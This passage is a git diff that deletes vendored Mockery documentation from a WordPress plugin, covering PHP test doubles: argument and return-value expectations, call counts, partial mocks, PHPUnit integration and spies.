-^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ - -We can provide expected arguments that match passed arguments when mocked method -is called. - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive('name_of_method') - ->withSomeOfArgs(arg1, arg2, arg3, ...); - -The given expected arguments order doesn't matter. -Check if expected values are included or not, but type should be matched: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive('foo') - ->withSomeOfArgs(1, 2); - - $mock->foo(1, 2, 3); // matches the expectation - $mock->foo(3, 2, 1); // matches the expectation (passed order doesn't matter) - $mock->foo('1', '2'); // throws a NoMatchingExpectationException (type should be matched) - $mock->foo(3); // throws a NoMatchingExpectationException - -Any, or no arguments -^^^^^^^^^^^^^^^^^^^^ - -We can declare that the expectation matches a method call regardless of what -arguments are passed: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive('name_of_method') - ->withAnyArgs(); - -This is set by default unless otherwise specified. - -We can declare that the expectation matches method calls with zero arguments: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive('name_of_method') - ->withNoArgs(); - -Declaring Return Value Expectations ------------------------------------ - -For mock objects, we can tell Mockery what return values to return from the -expected method calls. - -For that we can use the ``andReturn()`` method: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive('name_of_method') - ->andReturn($value); - -This sets a value to be returned from the expected method call. - -It is possible to set up expectation for multiple return values. By providing -a sequence of return values, we tell Mockery what value to return on every -subsequent call to the method: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive('name_of_method') - ->andReturn($value1, $value2, ...) - -The first call will return ``$value1`` and the second call will return ``$value2``. - -If we call the method more times than the number of return values we declared, -Mockery will return the final value for any subsequent method call: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - - $mock->shouldReceive('foo')->andReturn(1, 2, 3); - - $mock->foo(); // int(1) - $mock->foo(); // int(2) - $mock->foo(); // int(3) - $mock->foo(); // int(3) - -The same can be achieved using the alternative syntax: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive('name_of_method') - ->andReturnValues([$value1, $value2, ...]) - -It accepts a simple array instead of a list of parameters. The order of return -is determined by the numerical index of the given array with the last array -member being returned on all calls once previous return values are exhausted. - -The following two options are primarily for communication with test readers: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive('name_of_method') - ->andReturnNull(); - // or - $mock->shouldReceive('name_of_method') - ->andReturn([null]); - -They mark the mock object method call as returning ``null`` or nothing. - -Sometimes we want to calculate the return results of the method calls, based on -the arguments passed to the method. We can do that with the ``andReturnUsing()`` -method which accepts one or more closure: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive('name_of_method') - ->andReturnUsing(closure, ...); - -Closures can be queued by passing them as extra parameters as for ``andReturn()``. - -Occasionally, it can be useful to echo back one of the arguments that a method -is called with. In this case we can use the ``andReturnArg()`` method; the -argument to be returned is specified by its index in the arguments list: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive('name_of_method') - ->andReturnArg(1); - -This returns the second argument (index #1) from the list of arguments when the -method is called. - -.. note:: - - We cannot currently mix ``andReturnUsing()`` or ``andReturnArg`` with - ``andReturn()``. - -If we are mocking fluid interfaces, the following method will be helpful: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive('name_of_method') - ->andReturnSelf(); - -It sets the return value to the mocked class name. - -Throwing Exceptions -------------------- - -We can tell the method of mock objects to throw exceptions: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive('name_of_method') - ->andThrow(new Exception); - -It will throw the given ``Exception`` object when called. - -Rather than an object, we can pass in the ``Exception`` class, message and/or code to -use when throwing an ``Exception`` from the mocked method: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive('name_of_method') - ->andThrow('exception_name', 'message', 123456789); - -.. _expectations-setting-public-properties: - -Setting Public Properties -------------------------- - -Used with an expectation so that when a matching method is called, we can cause -a mock object's public property to be set to a specified value, by using -``andSet()`` or ``set()``: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive('name_of_method') - ->andSet($property, $value); - // or - $mock->shouldReceive('name_of_method') - ->set($property, $value); - -In cases where we want to call the real method of the class that was mocked and -return its result, the ``passthru()`` method tells the expectation to bypass -a return queue: - -.. code-block:: php - - passthru() - -It allows expectation matching and call count validation to be applied against -real methods while still calling the real class method with the expected -arguments. - -Declaring Call Count Expectations ---------------------------------- - -Besides setting expectations on the arguments of the method calls, and the -return values of those same calls, we can set expectations on how many times -should any method be called. - -When a call count expectation is not met, a -``\Mockery\Expectation\InvalidCountException`` will be thrown. - -.. note:: - - It is absolutely required to call ``\Mockery::close()`` at the end of our - tests, for example in the ``tearDown()`` method of PHPUnit. Otherwise - Mockery will not verify the calls made against our mock objects. - -We can declare that the expected method may be called zero or more times: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive('name_of_method') - ->zeroOrMoreTimes(); - -This is the default for all methods unless otherwise set. - -To tell Mockery to expect an exact number of calls to a method, we can use the -following: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive('name_of_method') - ->times($n); - -where ``$n`` is the number of times the method should be called. - -A couple of most common cases got their shorthand methods. - -To declare that the expected method must be called one time only: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive('name_of_method') - ->once(); - -To declare that the expected method must be called two times: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive('name_of_method') - ->twice(); - -To declare that the expected method must never be called: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive('name_of_method') - ->never(); - -Call count modifiers -^^^^^^^^^^^^^^^^^^^^ - -The call count expectations can have modifiers set. - -If we want to tell Mockery the minimum number of times a method should be called, -we use ``atLeast()``: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive('name_of_method') - ->atLeast() - ->times(3); - -``atLeast()->times(3)`` means the call must be called at least three times -(given matching method args) but never less than three times. - -Similarly, we can tell Mockery the maximum number of times a method should be -called, using ``atMost()``: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive('name_of_method') - ->atMost() - ->times(3); - -``atMost()->times(3)`` means the call must be called no more than three times. -If the method gets no calls at all, the expectation will still be met. - -We can also set a range of call counts, using ``between()``: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive('name_of_method') - ->between($min, $max); - -This is actually identical to using ``atLeast()->times($min)->atMost()->times($max)`` -but is provided as a shorthand. It may be followed by a ``times()`` call with no -parameter to preserve the APIs natural language readability. - -Multiple Calls with Different Expectations -^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ - -If a method is expected to get called multiple times with different arguments -and/or return values we can simply repeat the expectations. The same of course -also works if we expect multiple calls to different methods. - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - // Expectations for the 1st call - $mock->shouldReceive('name_of_method') - ->once() - ->with('arg1') - ->andReturn($value1) - - // 2nd call to same method - ->shouldReceive('name_of_method') - ->once() - ->with('arg2') - ->andReturn($value2) - - // final call to another method - ->shouldReceive('other_method') - ->once() - ->with('other') - ->andReturn($value_other); - -Expectation Declaration Utilities ---------------------------------- - -Declares that this method is expected to be called in a specific order in -relation to similarly marked methods. - -.. code-block:: php - - ordered() - -The order is dictated by the order in which this modifier is actually used when -setting up mocks. - -Declares the method as belonging to an order group (which can be named or -numbered). Methods within a group can be called in any order, but the ordered -calls from outside the group are ordered in relation to the group: - -.. code-block:: php - - ordered(group) - -We can set up so that method1 is called before group1 which is in turn called -before method2. - -When called prior to ``ordered()`` or ``ordered(group)``, it declares this -ordering to apply across all mock objects (not just the current mock): - -.. code-block:: php - - globally() - -This allows for dictating order expectations across multiple mocks. - -The ``byDefault()`` marks an expectation as a default. Default expectations are -applied unless a non-default expectation is created: - -.. code-block:: php - - byDefault() - -These later expectations immediately replace the previously defined default. -This is useful so we can setup default mocks in our unit test ``setup()`` and -later tweak them in specific tests as needed. - -Returns the current mock object from an expectation chain: - -.. code-block:: php - - getMock() - -Useful where we prefer to keep mock setups as a single statement, e.g.: - -.. code-block:: php - - $mock = \Mockery::mock('foo')->shouldReceive('foo')->andReturn(1)->getMock(); diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/final_methods_classes.rst b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/final_methods_classes.rst deleted file mode 100644 index dd0fa5ba..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/final_methods_classes.rst +++ /dev/null @@ -1,29 +0,0 @@ -.. index:: - single: Mocking; Final Classes/Methods - -Dealing with Final Classes/Methods -================================== - -One of the primary restrictions of mock objects in PHP, is that mocking -classes or methods marked final is hard. The final keyword prevents methods so -marked from being replaced in subclasses (subclassing is how mock objects can -inherit the type of the class or object being mocked). - -The simplest solution is to implement an interface in your final class and -typehint against / mock this. - -However this may not be possible in some third party libraries. -Mockery does allow creating "proxy mocks" from classes marked final, or from -classes with methods marked final. This offers all the usual mock object -goodness but the resulting mock will not inherit the class type of the object -being mocked, i.e. it will not pass any instanceof comparison. Methods marked -as final will be proxied to the original method, i.e., final methods can't be -mocked. - -We can create a proxy mock by passing the instantiated object we wish to -mock into ``\Mockery::mock()``, i.e. Mockery will then generate a Proxy to the -real object and selectively intercept method calls for the purposes of setting -and meeting expectations. - -See the :ref:`creating-test-doubles-partial-test-doubles` chapter, the subsection -about proxied partial test doubles. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/index.rst b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/index.rst deleted file mode 100644 index 7d6a0389..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/index.rst +++ /dev/null @@ -1,23 +0,0 @@ -Reference -========= - -.. toctree:: - :hidden: - - creating_test_doubles - expectations - argument_validation - alternative_should_receive_syntax - spies - instance_mocking - partial_mocks - protected_methods - public_properties - public_static_properties - pass_by_reference_behaviours - demeter_chains - final_methods_classes - magic_methods - phpunit_integration - -.. include:: map.rst.inc diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/instance_mocking.rst b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/instance_mocking.rst deleted file mode 100644 index 9d1aa283..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/instance_mocking.rst +++ /dev/null @@ -1,22 +0,0 @@ -.. index:: - single: Mocking; Instance - -Instance Mocking -================ - -Instance mocking means that a statement like: - -.. code-block:: php - - $obj = new \MyNamespace\Foo; - -...will actually generate a mock object. This is done by replacing the real -class with an instance mock (similar to an alias mock), as with mocking public -methods. The alias will import its expectations from the original mock of -that type (note that the original is never verified and should be ignored -after its expectations are setup). This lets you intercept instantiation where -you can't simply inject a replacement object. - -As before, this does not prevent a require statement from including the real -class and triggering a fatal PHP error. It's intended for use where -autoloading is the primary class loading mechanism. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/magic_methods.rst b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/magic_methods.rst deleted file mode 100644 index 39591cff..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/magic_methods.rst +++ /dev/null @@ -1,16 +0,0 @@ -.. index:: - single: Mocking; Magic Methods - -PHP Magic Methods -================= - -PHP magic methods which are prefixed with a double underscore, e.g. -``__set()``, pose a particular problem in mocking and unit testing in general. -It is strongly recommended that unit tests and mock objects do not directly -refer to magic methods. Instead, refer only to the virtual methods and -properties these magic methods simulate. - -Following this piece of advice will ensure we are testing the real API of -classes and also ensures there is no conflict should Mockery override these -magic methods, which it will inevitably do in order to support its role in -intercepting method calls and properties. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/map.rst.inc b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/map.rst.inc deleted file mode 100644 index 883bc3ca..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/map.rst.inc +++ /dev/null @@ -1,14 +0,0 @@ -* :doc:`/reference/creating_test_doubles` -* :doc:`/reference/expectations` -* :doc:`/reference/argument_validation` -* :doc:`/reference/alternative_should_receive_syntax` -* :doc:`/reference/spies` -* :doc:`/reference/partial_mocks` -* :doc:`/reference/protected_methods` -* :doc:`/reference/public_properties` -* :doc:`/reference/public_static_properties` -* :doc:`/reference/pass_by_reference_behaviours` -* :doc:`/reference/demeter_chains` -* :doc:`/reference/final_methods_classes` -* :doc:`/reference/magic_methods` -* :doc:`/reference/phpunit_integration` diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/partial_mocks.rst b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/partial_mocks.rst deleted file mode 100644 index 457eb8de..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/partial_mocks.rst +++ /dev/null @@ -1,108 +0,0 @@ -.. index:: - single: Mocking; Partial Mocks - -Creating Partial Mocks -====================== - -Partial mocks are useful when we only need to mock several methods of an -object leaving the remainder free to respond to calls normally (i.e. as -implemented). Mockery implements three distinct strategies for creating -partials. Each has specific advantages and disadvantages so which strategy we -use will depend on our own preferences and the source code in need of -mocking. - -We have previously talked a bit about :ref:`creating-test-doubles-partial-test-doubles`, -but we'd like to expand on the subject a bit here. - -#. Runtime partial test doubles -#. Generated partial test doubles -#. Proxied Partial Mock - -Runtime partial test doubles ----------------------------- - -A runtime partial test double, also known as a passive partial mock, is a kind -of a default state of being for a mocked object. - -.. code-block:: php - - $mock = \Mockery::mock('MyClass')->makePartial(); - -With a runtime partial, we assume that all methods will simply defer to the -parent class (``MyClass``) original methods unless a method call matches a -known expectation. If we have no matching expectation for a specific method -call, that call is deferred to the class being mocked. Since the division -between mocked and unmocked calls depends entirely on the expectations we -define, there is no need to define which methods to mock in advance. - -See the cookbook entry on :doc:`../cookbook/big_parent_class` for an example -usage of runtime partial test doubles. - -Generated Partial Test Doubles ------------------------------- - -A generated partial test double, also known as a traditional partial mock, -defines ahead of time which methods of a class are to be mocked and which are -to be left unmocked (i.e. callable as normal). The syntax for creating -traditional mocks is: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass[foo,bar]'); - -In the above example, the ``foo()`` and ``bar()`` methods of MyClass will be -mocked but no other MyClass methods are touched. We will need to define -expectations for the ``foo()`` and ``bar()`` methods to dictate their mocked -behaviour. - -Don't forget that we can pass in constructor arguments since unmocked methods -may rely on those! - -.. code-block:: php - - $mock = \Mockery::mock('MyNamespace\MyClass[foo]', array($arg1, $arg2)); - -See the :ref:`creating-test-doubles-constructor-arguments` section to read up -on them. - -.. note:: - - Even though we support generated partial test doubles, we do not recommend - using them. - -Proxied Partial Mock --------------------- - -A proxied partial mock is a partial of last resort. We may encounter a class -which is simply not capable of being mocked because it has been marked as -final. Similarly, we may find a class with methods marked as final. In such a -scenario, we cannot simply extend the class and override methods to mock - we -need to get creative. - -.. code-block:: php - - $mock = \Mockery::mock(new MyClass); - -Yes, the new mock is a Proxy. It intercepts calls and reroutes them to the -proxied object (which we construct and pass in) for methods which are not -subject to any expectations. Indirectly, this allows us to mock methods -marked final since the Proxy is not subject to those limitations. The tradeoff -should be obvious - a proxied partial will fail any typehint checks for the -class being mocked since it cannot extend that class. - -Special Internal Cases ----------------------- - -All mock objects, with the exception of Proxied Partials, allows us to make -any expectation call to the underlying real class method using the ``passthru()`` -expectation call. This will return values from the real call and bypass any -mocked return queue (which can simply be omitted obviously). - -There is a fourth kind of partial mock reserved for internal use. This is -automatically generated when we attempt to mock a class containing methods -marked final. Since we cannot override such methods, they are simply left -unmocked. Typically, we don't need to worry about this but if we really -really must mock a final method, the only possible means is through a Proxied -Partial Mock. SplFileInfo, for example, is a common class subject to this form -of automatic internal partial since it contains public final methods used -internally. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/pass_by_reference_behaviours.rst b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/pass_by_reference_behaviours.rst deleted file mode 100644 index 5e2e457f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/pass_by_reference_behaviours.rst +++ /dev/null @@ -1,130 +0,0 @@ -.. index:: - single: Pass-By-Reference Method Parameter Behaviour - -Preserving Pass-By-Reference Method Parameter Behaviour -======================================================= - -PHP Class method may accept parameters by reference. In this case, changes -made to the parameter (a reference to the original variable passed to the -method) are reflected in the original variable. An example: - -.. code-block:: php - - class Foo - { - - public function bar(&$a) - { - $a++; - } - - } - - $baz = 1; - $foo = new Foo; - $foo->bar($baz); - - echo $baz; // will echo the integer 2 - -In the example above, the variable ``$baz`` is passed by reference to -``Foo::bar()`` (notice the ``&`` symbol in front of the parameter?). Any -change ``bar()`` makes to the parameter reference is reflected in the original -variable, ``$baz``. - -Mockery handles references correctly for all methods where it can analyse -the parameter (using ``Reflection``) to see if it is passed by reference. To -mock how a reference is manipulated by the class method, we can use a closure -argument matcher to manipulate it, i.e. ``\Mockery::on()`` - see the -:ref:`argument-validation-complex-argument-validation` chapter. - -There is an exception for internal PHP classes where Mockery cannot analyse -method parameters using ``Reflection`` (a limitation in PHP). To work around -this, we can explicitly declare method parameters for an internal class using -``\Mockery\Configuration::setInternalClassMethodParamMap()``. - -Here's an example using ``MongoCollection::insert()``. ``MongoCollection`` is -an internal class offered by the mongo extension from PECL. Its ``insert()`` -method accepts an array of data as the first parameter, and an optional -options array as the second parameter. The original data array is updated -(i.e. when a ``insert()`` pass-by-reference parameter) to include a new -``_id`` field. We can mock this behaviour using a configured parameter map (to -tell Mockery to expect a pass by reference parameter) and a ``Closure`` -attached to the expected method parameter to be updated. - -Here's a PHPUnit unit test verifying that this pass-by-reference behaviour is -preserved: - -.. code-block:: php - - public function testCanOverrideExpectedParametersOfInternalPHPClassesToPreserveRefs() - { - \Mockery::getConfiguration()->setInternalClassMethodParamMap( - 'MongoCollection', - 'insert', - array('&$data', '$options = array()') - ); - $m = \Mockery::mock('MongoCollection'); - $m->shouldReceive('insert')->with( - \Mockery::on(function(&$data) { - if (!is_array($data)) return false; - $data['_id'] = 123; - return true; - }), - \Mockery::any() - ); - - $data = array('a'=>1,'b'=>2); - $m->insert($data); - - $this->assertTrue(isset($data['_id'])); - $this->assertEquals(123, $data['_id']); - - \Mockery::resetContainer(); - } - -Protected Methods ------------------ - -When dealing with protected methods, and trying to preserve pass by reference -behavior for them, a different approach is required. - -.. code-block:: php - - class Model - { - public function test(&$data) - { - return $this->doTest($data); - } - - protected function doTest(&$data) - { - $data['something'] = 'wrong'; - return $this; - } - } - - class Test extends \PHPUnit\Framework\TestCase - { - public function testModel() - { - $mock = \Mockery::mock('Model[test]')->shouldAllowMockingProtectedMethods(); - - $mock->shouldReceive('test') - ->with(\Mockery::on(function(&$data) { - $data['something'] = 'wrong'; - return true; - })); - - $data = array('foo' => 'bar'); - - $mock->test($data); - $this->assertTrue(isset($data['something'])); - $this->assertEquals('wrong', $data['something']); - } - } - -This is quite an edge case, so we need to change the original code a little bit, -by creating a public method that will call our protected method, and then mock -that, instead of the protected method. This new public method will act as a -proxy to our protected method. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/phpunit_integration.rst b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/phpunit_integration.rst deleted file mode 100644 index 669a8ca9..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/phpunit_integration.rst +++ /dev/null @@ -1,145 +0,0 @@ -.. index:: - single: PHPUnit Integration - -PHPUnit Integration -=================== - -Mockery was designed as a simple-to-use *standalone* mock object framework, so -its need for integration with any testing framework is entirely optional. To -integrate Mockery, we need to define a ``tearDown()`` method for our tests -containing the following (we may use a shorter ``\Mockery`` namespace -alias): - -.. code-block:: php - - public function tearDown() { - \Mockery::close(); - } - -This static call cleans up the Mockery container used by the current test, and -run any verification tasks needed for our expectations. - -For some added brevity when it comes to using Mockery, we can also explicitly -use the Mockery namespace with a shorter alias. For example: - -.. code-block:: php - - use \Mockery as m; - - class SimpleTest extends \PHPUnit\Framework\TestCase - { - public function testSimpleMock() { - $mock = m::mock('simplemock'); - $mock->shouldReceive('foo')->with(5, m::any())->once()->andReturn(10); - - $this->assertEquals(10, $mock->foo(5)); - } - - public function tearDown() { - m::close(); - } - } - -Mockery ships with an autoloader so we don't need to litter our tests with -``require_once()`` calls. To use it, ensure Mockery is on our -``include_path`` and add the following to our test suite's ``Bootstrap.php`` -or ``TestHelper.php`` file: - -.. code-block:: php - - require_once 'Mockery/Loader.php'; - require_once 'Hamcrest/Hamcrest.php'; - - $loader = new \Mockery\Loader; - $loader->register(); - -If we are using Composer, we can simplify this to including the Composer -generated autoloader file: - -.. code-block:: php - - require __DIR__ . '/../vendor/autoload.php'; // assuming vendor is one directory up - -.. caution:: - - Prior to Hamcrest 1.0.0, the ``Hamcrest.php`` file name had a small "h" - (i.e. ``hamcrest.php``). If upgrading Hamcrest to 1.0.0 remember to check - the file name is updated for all your projects.) - -To integrate Mockery into PHPUnit and avoid having to call the close method -and have Mockery remove itself from code coverage reports, have your test case -extends the ``\Mockery\Adapter\Phpunit\MockeryTestCase``: - -.. code-block:: php - - class MyTest extends \Mockery\Adapter\Phpunit\MockeryTestCase - { - - } - -An alternative is to use the supplied trait: - -.. code-block:: php - - class MyTest extends \PHPUnit\Framework\TestCase - { - use \Mockery\Adapter\Phpunit\MockeryPHPUnitIntegration; - } - -Extending ``MockeryTestCase`` or using the ``MockeryPHPUnitIntegration`` -trait is **the recommended way** of integrating Mockery with PHPUnit, -since Mockery 1.0.0. - -PHPUnit listener ----------------- - -Before the 1.0.0 release, Mockery provided a PHPUnit listener that would -call ``Mockery::close()`` for us at the end of a test. This has changed -significantly since the 1.0.0 version. - -Now, Mockery provides a PHPUnit listener that makes tests fail if -``Mockery::close()`` has not been called. It can help identify tests where -we've forgotten to include the trait or extend the ``MockeryTestCase``. - -If we are using PHPUnit's XML configuration approach, we can include the -following to load the ``TestListener``: - -.. code-block:: xml - - - - - -Make sure Composer's or Mockery's autoloader is present in the bootstrap file -or we will need to also define a "file" attribute pointing to the file of the -``TestListener`` class. - -If we are creating the test suite programmatically we may add the listener -like this: - -.. code-block:: php - - // Create the suite. - $suite = new PHPUnit\Framework\TestSuite(); - - // Create the listener and add it to the suite. - $result = new PHPUnit\Framework\TestResult(); - $result->addListener(new \Mockery\Adapter\Phpunit\TestListener()); - - // Run the tests. - $suite->run($result); - -.. caution:: - - PHPUnit provides a functionality that allows - `tests to run in a separated process `_, - to ensure better isolation. Mockery verifies the mocks expectations using the - ``Mockery::close()`` method, and provides a PHPUnit listener, that automatically - calls this method for us after every test. - - However, this listener is not called in the right process when using - PHPUnit's process isolation, resulting in expectations that might not be - respected, but without raising any ``Mockery\Exception``. To avoid this, - we cannot rely on the supplied Mockery PHPUnit ``TestListener``, and we need - to explicitly call ``Mockery::close``. The easiest solution to include this - call in the ``tearDown()`` method, as explained previously. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/protected_methods.rst b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/protected_methods.rst deleted file mode 100644 index ec4a5bad..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/protected_methods.rst +++ /dev/null @@ -1,26 +0,0 @@ -.. index:: - single: Mocking; Protected Methods - -Mocking Protected Methods -========================= - -By default, Mockery does not allow mocking protected methods. We do not recommend -mocking protected methods, but there are cases when there is no other solution. - -For those cases we have the ``shouldAllowMockingProtectedMethods()`` method. It -instructs Mockery to specifically allow mocking of protected methods, for that -one class only: - -.. code-block:: php - - class MyClass - { - protected function foo() - { - } - } - - $mock = \Mockery::mock('MyClass') - ->shouldAllowMockingProtectedMethods(); - $mock->shouldReceive('foo'); - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/public_properties.rst b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/public_properties.rst deleted file mode 100644 index 31656683..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/public_properties.rst +++ /dev/null @@ -1,20 +0,0 @@ -.. index:: - single: Mocking; Public Properties - -Mocking Public Properties -========================= - -Mockery allows us to mock properties in several ways. One way is that we can set -a public property and its value on any mock object. The second is that we can -use the expectation methods ``set()`` and ``andSet()`` to set property values if -that expectation is ever met. - -You can read more about :ref:`expectations-setting-public-properties`. - -.. note:: - - In general, Mockery does not support mocking any magic methods since these - are generally not considered a public API (and besides it is a bit difficult - to differentiate them when you badly need them for mocking!). So please mock - virtual properties (those relying on ``__get()`` and ``__set()``) as if they - were actually declared on the class. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/public_static_properties.rst b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/public_static_properties.rst deleted file mode 100644 index 2396efc7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/public_static_properties.rst +++ /dev/null @@ -1,15 +0,0 @@ -.. index:: - single: Mocking; Public Static Methods - -Mocking Public Static Methods -============================= - -Static methods are not called on real objects, so normal mock objects can't -mock them. Mockery supports class aliased mocks, mocks representing a class -name which would normally be loaded (via autoloading or a require statement) -in the system under test. These aliases block that loading (unless via a -require statement - so please use autoloading!) and allow Mockery to intercept -static method calls and add expectations for them. - -See the :ref:`creating-test-doubles-aliasing` section for more information on -creating aliased mocks, for the purpose of mocking public static methods. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/spies.rst b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/spies.rst deleted file mode 100644 index 16639186..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/spies.rst +++ /dev/null @@ -1,154 +0,0 @@ -.. index:: - single: Reference; Spies - -Spies -===== - -Spies are a type of test doubles, but they differ from stubs or mocks in that, -that the spies record any interaction between the spy and the System Under Test -(SUT), and allow us to make assertions against those interactions after the fact. - -Creating a spy means we don't have to set up expectations for every method call -the double might receive during the test, some of which may not be relevant to -the current test. A spy allows us to make assertions about the calls we care -about for this test only, reducing the chances of over-specification and making -our tests more clear. - -Spies also allow us to follow the more familiar Arrange-Act-Assert or -Given-When-Then style within our tests. With mocks, we have to follow a less -familiar style, something along the lines of Arrange-Expect-Act-Assert, where -we have to tell our mocks what to expect before we act on the SUT, then assert -that those expectations were met: - -.. code-block:: php - - // arrange - $mock = \Mockery::mock('MyDependency'); - $sut = new MyClass($mock); - - // expect - $mock->shouldReceive('foo') - ->once() - ->with('bar'); - - // act - $sut->callFoo(); - - // assert - \Mockery::close(); - -Spies allow us to skip the expect part and move the assertion to after we have -acted on the SUT, usually making our tests more readable: - -.. code-block:: php - - // arrange - $spy = \Mockery::spy('MyDependency'); - $sut = new MyClass($spy); - - // act - $sut->callFoo(); - - // assert - $spy->shouldHaveReceived() - ->foo() - ->with('bar'); - -On the other hand, spies are far less restrictive than mocks, meaning tests are -usually less precise, as they let us get away with more. This is usually a -good thing, they should only be as precise as they need to be, but while spies -make our tests more intent-revealing, they do tend to reveal less about the -design of the SUT. If we're having to setup lots of expectations for a mock, -in lots of different tests, our tests are trying to tell us something - the SUT -is doing too much and probably should be refactored. We don't get this with -spies, they simply ignore the calls that aren't relevant to them. - -Another downside to using spies is debugging. When a mock receives a call that -it wasn't expecting, it immediately throws an exception (failing fast), giving -us a nice stack trace or possibly even invoking our debugger. With spies, we're -simply asserting calls were made after the fact, so if the wrong calls were made, -we don't have quite the same just in time context we have with the mocks. - -Finally, if we need to define a return value for our test double, we can't do -that with a spy, only with a mock object. - -.. note:: - - This documentation page is an adaption of the blog post titled - `"Mockery Spies" `_, - published by Dave Marshall on his blog. Dave is the original author of spies - in Mockery. - -Spies Reference ---------------- - -To verify that a method was called on a spy, we use the ``shouldHaveReceived()`` -method: - -.. code-block:: php - - $spy->shouldHaveReceived('foo'); - -To verify that a method was **not** called on a spy, we use the -``shouldNotHaveReceived()`` method: - -.. code-block:: php - - $spy->shouldNotHaveReceived('foo'); - -We can also do argument matching with spies: - -.. code-block:: php - - $spy->shouldHaveReceived('foo') - ->with('bar'); - -Argument matching is also possible by passing in an array of arguments to -match: - -.. code-block:: php - - 